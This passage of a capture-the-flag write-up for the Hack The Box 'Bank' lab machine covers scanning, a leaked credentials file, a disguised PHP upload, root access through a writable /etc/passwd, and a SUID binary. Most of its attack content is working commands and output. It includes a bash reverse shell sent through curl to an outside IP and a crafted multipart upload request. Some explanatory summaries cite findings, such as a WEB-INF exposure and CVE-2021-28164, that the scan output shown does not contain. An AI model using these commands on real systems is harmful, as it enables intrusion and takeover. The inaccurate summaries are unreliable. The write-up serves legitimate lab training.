[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://chris.bank.htb
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://chris.bank.htb
[http-missing-security-headers:strict-transport-security] [http] [info] http://chris.bank.htb
[http-missing-security-headers:content-security-policy] [http] [info] http://chris.bank.htb
[http-missing-security-headers:x-content-type-options] [http] [info] http://chris.bank.htb
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://chris.bank.htb
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://www.bank.htb
[http-missing-security-headers:permissions-policy] [http] [info] http://www.bank.htb
[http-missing-security-headers:content-security-policy] [http] [info] http://www.bank.htb
[http-missing-security-headers:x-frame-options] [http] [info] http://www.bank.htb
[http-missing-security-headers:x-content-type-options] [http] [info] http://www.bank.htb
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://www.bank.htb
[http-missing-security-headers:referrer-policy] [http] [info] http://www.bank.htb
[http-missing-security-headers:clear-site-data] [http] [info] http://www.bank.htb
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://www.bank.htb
[http-missing-security-headers:strict-transport-security] [http] [info] http://www.bank.htb
[http-missing-security-headers:strict-transport-security] [http] [info] http://ns.bank.htb
[http-missing-security-headers:content-security-policy] [http] [info] http://ns.bank.htb
[http-missing-security-headers:x-frame-options] [http] [info] http://ns.bank.htb
[http-missing-security-headers:referrer-policy] [http] [info] http://ns.bank.htb
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://ns.bank.htb
[http-missing-security-headers:permissions-policy] [http] [info] http://ns.bank.htb
[http-missing-security-headers:x-content-type-options] [http] [info] http://ns.bank.htb
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://ns.bank.htb
[http-missing-security-headers:clear-site-data] [http] [info] http://ns.bank.htb
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://ns.bank.htb
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://ns.bank.htb
[http-missing-security-headers:strict-transport-security] [http] [info] http://bank.htb/login.php
[http-missing-security-headers:x-content-type-options] [http] [info] http://bank.htb/login.php
[http-missing-security-headers:clear-site-data] [http] [info] http://bank.htb/login.php
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://bank.htb/login.php
[http-missing-security-headers:content-security-policy] [http] [info] http://bank.htb/login.php
[http-missing-security-headers:permissions-policy] [http] [info] http://bank.htb/login.php
[http-missing-security-headers:x-frame-options] [http] [info] http://bank.htb/login.php
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://bank.htb/login.ph
p
[http-missing-security-headers:referrer-policy] [http] [info] http://bank.htb/login.php
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://bank.htb/login.php
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://bank.htb/login.php
[missing-sri] [http] [info] http://bank.htb/login.php [https://code.jquery.com/jquery.js]
[waf-detect:apachegeneric] [http] [info] http://bank.htb/
[waf-detect:apachegeneric] [http] [info] http://chris.bank.htb/
[waf-detect:apachegeneric] [http] [info] http://ns.bank.htb/
[waf-detect:apachegeneric] [http] [info] http://www.bank.htb/
[ssh-password-auth] [js] [info] bank.htb:22
[ssh-auth-methods] [js] [info] www.bank.htb:22 [["publickey","password"]]
[ssh-auth-methods] [js] [info] ns.bank.htb:22 [["publickey","password"]]
[ssh-auth-methods] [js] [info] chris.bank.htb:22 [["publickey","password"]]
[ssh-auth-methods] [js] [info] bank.htb:22 [["publickey","password"]]
[ssh-server-enumeration] [js] [info] www.bank.htb:22 [SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8]
[ssh-server-enumeration] [js] [info] bank.htb:22 [SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8]
[ssh-server-enumeration] [js] [info] chris.bank.htb:22 [SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8]
[ssh-server-enumeration] [js] [info] ns.bank.htb:22 [SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8]
[ssh-password-auth] [js] [info] chris.bank.htb:22
[ssh-password-auth] [js] [info] ns.bank.htb:22
[openssh-detect] [tcp] [info] bank.htb:22 [SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8]
[openssh-detect] [tcp] [info] ns.bank.htb:22 [SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8]
[INF] Skipped www.bank.htb:80 from target list as found unresponsive 30 times
[INF] Skipped ns.bank.htb:80 from target list as found unresponsive 30 times
[INF] Skipped chris.bank.htb:80 from target list as found unresponsive 31 times
[INF] Skipped bank.htb:80 from target list as found unresponsive 31 times
```
The command executes a scan using Nuclei against the target URLs listed in `bank.urls`. Here's a breakdown of the process and the findings:
1. **Nuclei Installation and Version Check**:
* Nuclei-templates are installed, and the current version of Nuclei (`v3.0.2`) and the loaded templates (`v9.6.9`) are displayed.
2. **Template Execution**:
* Nuclei executes a total of 7278 templates for the scan, comprising both signed and unsigned templates.
* The templates are clustered to reduce the number of requests, resulting in 1252 clusters and 4876 reduced requests.
3. **Targets Loaded and Interactsh Server**:
* Four targets are loaded for the current scan, which correspond to the URLs listed in `bank.urls`.
* Nuclei utilizes an Interactsh Server at `oast.live` during the scan.
4. **Detection of HTTP Methods and Web Servers**:
* Nuclei identifies various HTTP methods supported by the target URLs, such as POST, OPTIONS, GET, and HEAD.
* Detection of web servers reveals that the targets are running Apache/2.4.7 on Ubuntu.
5. **Identification of Vulnerabilities and Misconfigurations**:
* Nuclei detects several vulnerabilities and misconfigurations across the target URLs, including:
* Missing security headers like `X-Frame-Options`, `Content-Security-Policy`, and `Strict-Transport-Security`.
* Exposure of sensitive files like `WEB-INF/web.xml`, potentially indicating information disclosure vulnerabilities (e.g., CVE-2021-28164).
* Detection of weak SSH configurations, including password authentication and supported authentication methods.
6. **Additional Observations**:
* Nuclei skips some target URLs (`www.bank.htb`, `ns.bank.htb`, `chris.bank.htb`, `bank.htb`) due to unresponsiveness after multiple attempts.
The scan provides valuable insights into potential security issues and vulnerabilities present in the target URLs. These findings can aid in securing the web applications and network infrastructure against various threats and attacks. Nuclei proves to be a versatile and effective tool for security scanning, offering comprehensive coverage of web and network security assessment.
### Analysis
```bash
# number of files ending with .acc
$ curl -sL http://bank.htb/balance-transfer | grep -i '.acc' | wc -l
999
-------------------------------------------------------------------------------
# number of files not ending with .acc
$ curl -sL http://bank.htb/balance-transfer | grep -iv '.acc' | wc -l
15
-------------------------------------------------------------------------------
# get the first 10 line after sorting at second field
$ curl -sL http://bank.htb/balance-transfer | grep -i '.acc' | grep -ioE '[a-f0-9]{32}\.acc.*"right">.+ ' | cut -d '>' -f1,7 | tr '">' ' ' | sort -k2 | head
68576f20e9732f1b2edc4df5b8533230.acc 257
09ed7588d1cd47ffca297cc7dac22c52.acc 581
941e55bed0cb8052e7015e7133a5b9c7.acc 581
052a101eac01ccbf5120996cdc60e76d.acc 582
0d64f03e84187359907569a43c83bddc.acc 582
10805eead8596309e32a6bfe102f7b2c.acc 582
20fd5f9690efca3dc465097376b31dd6.acc 582
346bf50f208571cd9d4c4ec7f8d0b4df.acc 582
70b43acf0a3e285c423ee9267acaebb2.acc 582
780a84585b62356360a9495d9ff3a485.acc 582
-------------------------------------------------------------------------------
# stats on the byte sizes
$ curl -sL http://bank.htb/balance-transfer | grep -i '.acc' | grep -ioE '[a-f0-9]{32}\.acc.*"right">.+ ' | cut -d '>' -f1,7 | tr '">' ' ' | cut -d ' ' -f3 | sort | uniq -c
1 257
2 581
11 582
97 583
590 584
298 585
-------------------------------------------------------------------------------
# get the one file of 257 byte size
$ curl -sL http://bank.htb/balance-transfer | grep -i '.acc' | grep -ioE '[a-f0-9]{32}\.acc.*"right">.+ ' | cut -d '>' -f1,7 | tr '">' ' ' | grep -iE '\b257\b'
68576f20e9732f1b2edc4df5b8533230.acc 257
-------------------------------------------------------------------------------
# check out the file
$ curl -sL http://bank.htb/balance-transfer/68576f20e9732f1b2edc4df5b8533230.acc
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+
===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===
-------------------------------------------------------------------------------
# record the creds
vi creds.txt
chris@bank.htb:!##HTBB4nkP4ssw0rd!##
-------------------------------------------------------------------------------
# now login with the username and password at http://bank.htb
# you should be able to login to the account
# Start looking for the place to upload files since we know that there is a directory for upload.
# Go to Support page in Chris's account and test upload a random png file while Burp Suite intercepts the traffic. It will capture the request and response for the upload.
-------------------------------------------------------------------------------
# craft the request with first three lines started with PNG magic byte and place php code execution inside the png file as below. Note that \n "Show non-printable chars" must be turned on to see the same output.
-------------------------------------------------------------------------------
# with further enumertion, check the source code of bank.htb/support.php page and find there is a DEBUG block in it.
```
It's a series of actions against the target URL `http://bank.htb/balance-transfer`. Let's break down each step:
1. **Counting Files Ending with `.acc`**:
* It uses `curl` to fetch the HTML content from the specified URL.
* `grep` is used to filter lines containing `.acc` case-insensitively.
* `wc -l` counts the number of lines, which corresponds to the number of files ending with `.acc`.
* Result: 999 files ending with `.acc`.
2. **Counting Files Not Ending with `.acc`**:
* Similar to the previous step, but this time `grep -iv` is used to exclude lines containing `.acc`.
* Result: 15 files not ending with `.acc`.
3. **Listing Files and Their Sizes**:
* The script fetches the content, extracts file names and sizes, and sorts them by size.
* It uses a combination of `grep`, `cut`, `tr`, `sort`, and `head`.
* The output lists the first 10 files sorted by size, showing their names and sizes.
4. **Statistics on Byte Sizes**:
* It retrieves file sizes, counts their occurrences, and sorts them.
* `grep`, `cut`, `tr`, `sort`, and `uniq -c` are used.
* The output displays the count of files for each unique byte size.
5. **Retrieving a Specific File**:
* It fetches the content, identifies files with a size of 257 bytes, and displays their names.
* The output reveals a single file with the specified size.
6. **Viewing the Content of the File**:
* The script fetches the content of the file `68576f20e9732f1b2edc4df5b8533230.acc`.
* The content includes sensitive information like full name, email, password, credit card count, transactions count, and balance.
7. **Recording the Credentials**:
* It records the credentials (`chris@bank.htb: !##HTBB4nkP4ssw0rd!##`) in a file named `creds.txt`.
8. **Logging in to the Account**:
* It suggests logging in to the account using the obtained credentials.
* After successful login, it advises looking for the place to upload files, as there is a directory for uploads.
9. **Crafting a Request for File Upload**:
* It provides instructions for crafting a request to upload a file with PHP code execution inside a PNG file.
10. **Source Code Inspection**:
* It suggests inspecting the source code of `bank.htb/support.php` and mentions a debug block added for executing `.htb` files as PHP for debugging purposes.
Burp Suite - Repeater
Remote Code Execution - RCE
It demonstrates a systematic approach to exploring and interacting with a web application, including enumeration of files, extraction of sensitive information, and identification of potential vulnerabilities for further exploitation.
```bash
POST /support.php HTTP/1.1
Host: bank.htb
Content-Length: 511
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bank.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEOGUSjR7AU5XUxai
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://bank.htb/support.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: HTBBankAuth=qp491bad2gio3iv1k9p9frn863
Connection: close
------WebKitFormBoundaryEOGUSjR7AU5XUxai
Content-Disposition: form-data; name="title"
php
------WebKitFormBoundaryEOGUSjR7AU5XUxai
Content-Disposition: form-data; name="message"
php
------WebKitFormBoundaryEOGUSjR7AU5XUxai
Content-Disposition: form-data; name="fileToUpload"; filename="y.png.htb"
Content-Type: image/png
------WebKitFormBoundaryEOGUSjR7AU5XUxai
Content-Disposition: form-data; name="submitadd"
------WebKitFormBoundaryEOGUSjR7AU5XUxai--
```
```bash
# or you can simply create the implant.png.htb with the following php code
-------------------------------------------------------------------------------
# verify with curl if php code execution works
$ curl http://bank.htb/uploads/implant.png.htb?cmd=whoami
www-data
-------------------------------------------------------------------------------
$ curl http://bank.htb/uploads/implant.png.htb --data-urlencode 'cmd=whoami'
www-data
```
### pwncat
```bash
# rs with below curl command
$ curl http://bank.htb/uploads/implant.png.htb --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.16.3/443 0>&1"'
-------------------------------------------------------------------------------
# install pwncat
$ sudo apt install pwncat -y
-------------------------------------------------------------------------------
# pwncat listening at 443 and you get the foothold as www-data user
$ pwncat -l 443
bash: cannot set terminal process group (1071): Inappropriate ioctl for device
bash: no job control in this shell
-------------------------------------------------------------------------------
# by using find commands looking for unusual SUID setup
# /var/htb/bin/emergency is a sort of obvious one in the list
www-data@bank:/var/www/bank/uploads$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/var/htb/bin/emergency
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/bin/ping
/bin/ping6
/bin/su
/bin/fusermount
/bin/mount
/bin/umount
-------------------------------------------------------------------------------
# /etc/passwd is writable by everyone on the box
www-data@bank:/var/www/bank/uploads$ ls -l /etc/passwd
ls -l /etc/passwd
-rw-rw-rw- 1 root root 1252 May 28 2017 /etc/passwd
-------------------------------------------------------------------------------
# check the sshd config for any attack surface
$ grep PermitRootLogin /etc/ssh/sshd_config
#PermitRootLogin without-password
PermitRootLogin yes
# the setting of "PermitRootLogin without-password".
```
This sequence of commands and actions depicts steps taken during a penetration testing exercise against a target system (`bank.htb`). Let's review each step:
1. **Reverse Shell Command**:
* The `curl` command is used to send a payload to a potentially vulnerable endpoint (`http://bank.htb/uploads/implant.png.htb`). The payload is designed to execute a reverse shell back to the attacker's machine by using the `bash -c` command and redirecting input and output to a specified IP address and port (`10.10.16.3:443`).
2. **Installation of Pwncat**:
* The `pwncat` tool is installed using the system package manager (`apt`). `pwncat` is a utility for handling reverse shell connections and is commonly used in penetration testing scenarios.
3. **Listening for Reverse Shell**:
* `pwncat` is configured to listen on port `443` for an incoming reverse shell connection. Upon successful connection, the shell is obtained as the `www-data` user.
4. **Finding SUID Binaries**:
* The `find` command is utilised to search for files with the SUID (Set User ID) bit set across the filesystem. The output reveals several binaries with the SUID bit set, including `/var/htb/bin/emergency`, which could potentially be used for privilege escalation.
5. **Checking Permissions on `/etc/passwd`**:
* The permissions of the `/etc/passwd` file are inspected, indicating that it is writable by all users (`rw-rw-rw-`). This misconfiguration could allow unauthorised modification of user account information.
6. **Inspecting SSHD Configuration**:
* The `sshd_config` file is examined to check the configuration related to SSH login. The output shows that `PermitRootLogin` is set to `yes`, which allows root login via SSH. This configuration could pose a security risk if not properly managed.
It's a systematic approach to identifying vulnerabilities and potential attack vectors during a penetration testing engagement. Further steps may involve exploiting discovered vulnerabilities to escalate privileges and gain deeper access to the target system.
## Exploits
### Writable /etc/passwd
```bash
# on the remote machine, get the password hash from openssl as below
www-data@bank:/var/www/bank/uploads$ openssl passwd -1 P@ssword1!
openssl passwd -1 P@ssword1!
$1$pwkb5t.S$NoHDeEhSIZke0vni9akQK0
-------------------------------------------------------------------------------
# append your own user to /etc/passwd as root
$ echo 'tyla:$1$pwkb5t.S$NoHDeEhSIZke0vni9akQK0:0:0:gotcha:/root:/bin/bash' >> /etc/passwd
-------------------------------------------------------------------------------
# verify the entry in /etc/passwd file
# it will be the last entry as below
www-data@bank:/var/www/bank/uploads$ cat /etc/passwd
cat /etc/passwd
tyla:$1$pwkb5t.S$NoHDeEhSIZke0vni9akQK0:0:0:gotcha:/root:/bin/bash
-------------------------------------------------------------------------------
# now ssh as that user and you are the root
$ ssh tyla@bank.htb
The authenticity of host 'bank.htb (10.10.10.29)' can't be established.
ED25519 key fingerprint is SHA256:7S4JgORJLloHIy/gCCkxvRpbrpWXAlMs8QK2jFtpn/w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'bank.htb' (ED25519) to the list of known hosts.
tyla@bank.htb's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-79-generic i686)
System information as of Sun Nov 19 10:00:07 EET 2023
System load: 0.4 Memory usage: 4% Processes: 84
Usage of /: 7.4% of 28.42GB Swap usage: 0% Users logged in: 0
Graph this data and manage this system at:
https://landscape.canonical.com/
Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Fri Jun 16 07:44:56 2017
root@bank:~#
```
This sequence of commands demonstrates a method for achieving privilege escalation by adding a new user to the `/etc/passwd` file and then accessing the system as the newly created user. Let's break down the steps:
1. **Obtaining Password Hash**:
* The `openssl passwd -1` command is used to generate a password hash for the password "P\@ssword1!". The resulting hash is `$1$pwkb5t.S$NoHDeEhSIZke0vni9akQK0`.
2. **Appending User to `/etc/passwd`**:
* The `echo` command is utilised to append a new user entry to the `/etc/passwd` file. The entry includes the username "tyla", the password hash obtained earlier, and other necessary fields such as user ID (`0` for root), group ID (`0` for root), user information, home directory, and shell.
3. **Verifying Entry in `/etc/passwd`**:
* The contents of the `/etc/passwd` file are displayed using the `cat` command to confirm that the new user entry has been successfully added.
4. **SSH Login as New User**:
* SSH login is attempted using the newly created user "tyla" with the password "P\@ssword1!". Upon successful authentication, access to the system is granted, and the user is logged in as root.
This series of actions highlights a critical misconfiguration in the system where the `/etc/passwd` file is writable by non-privileged users. By exploiting this misconfiguration, an attacker can effectively add a new user with root privileges, thereby gaining unauthorised access to the system. It underscores the importance of proper file permission management and regular security audits to mitigate such risks.
### SUID
```bash
# check the file type
# it indicates a binary
file /var/htb/bin/emergency
file /var/htb/bin/emergency
/var/htb/bin/emergency: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1fff1896e5f8db5be4db7b7ebab6ee176129b399, stripped
-------------------------------------------------------------------------------
# now simply execute the binary and see what happens
# you are the root
/var/htb/bin/emergency
/var/htb/bin/emergency
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
whoami
root
```
The commands demonstrate the analysis and execution of a binary file named "emergency," leading to privilege escalation to root. Here's a breakdown:
1. **Checking File Type**:
* The `file` command is used to determine the type of the binary file located at `/var/htb/bin/emergency`.
* The output indicates that it is a setuid ELF 32-bit LSB (Linux Standard Base) shared object file, designed for the Intel 80386 architecture, and dynamically linked.
2. **Executing the Binary**:
* The binary file `/var/htb/bin/emergency` is executed directly.
* After execution, the user's identity is checked using the `id` and `whoami` commands.
* The output shows that the user's effective user ID (euid) has been escalated to 0 (root), granting full root privileges.
* Both `id` and `whoami` commands confirm that the current user is now "root."
The successful execution of the "emergency" binary results in a privilege escalation, allowing the user "www-data" to gain root access. This indicates a critical security vulnerability, possibly due to misconfigured permissions or a flaw in the binary itself, which can be exploited by attackers to gain unauthorised access and control over the system.
